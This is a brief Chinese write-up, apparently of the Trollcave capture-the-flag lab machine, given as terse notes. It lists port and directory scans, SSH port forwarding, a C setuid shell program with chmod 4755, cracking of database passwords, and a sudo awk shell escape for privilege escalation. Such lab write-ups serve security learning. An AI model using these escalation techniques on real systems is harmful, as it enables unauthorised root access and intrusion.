一扫描端口

扫描开放端口：nmap -sV -sC -p- 192.168.0.149 -oA trollcave-allports

扫描敏感目录:gobuster dir -u http://192.168.0.149 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

二信息收集

netstat -lntp 查看端口信息

ssh -L 8888:localhost:8888 端口转发

通过setuid来提权

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

int main(int argc,char *argv[])

{setreuid(1000,1000);//etc/passwd

execve("/bin/sh",NULL,NULL);

}

base64 exp [空格]

让所有用户都可以使用。

chmod 4755

5432是postsql的端口号

sqlite select * from users; 密码是可进行破解的，运行出来全是明文，可以直接去碰撞的

enter+shift+~+大写C 进行ssh

sudo -l 查看当前权限

/etc/sudoers 去掉

awk 可以执行系统命令 sudo awk'{system('/bin/bash')}''

巴特西

Trollcave-suid提权

一扫描端口

二信息收集

最新文章

热门文章

巴特西

Trollcave-suid提权

一 扫描端口

二 信息收集

最新文章

热门文章

一扫描端口

二信息收集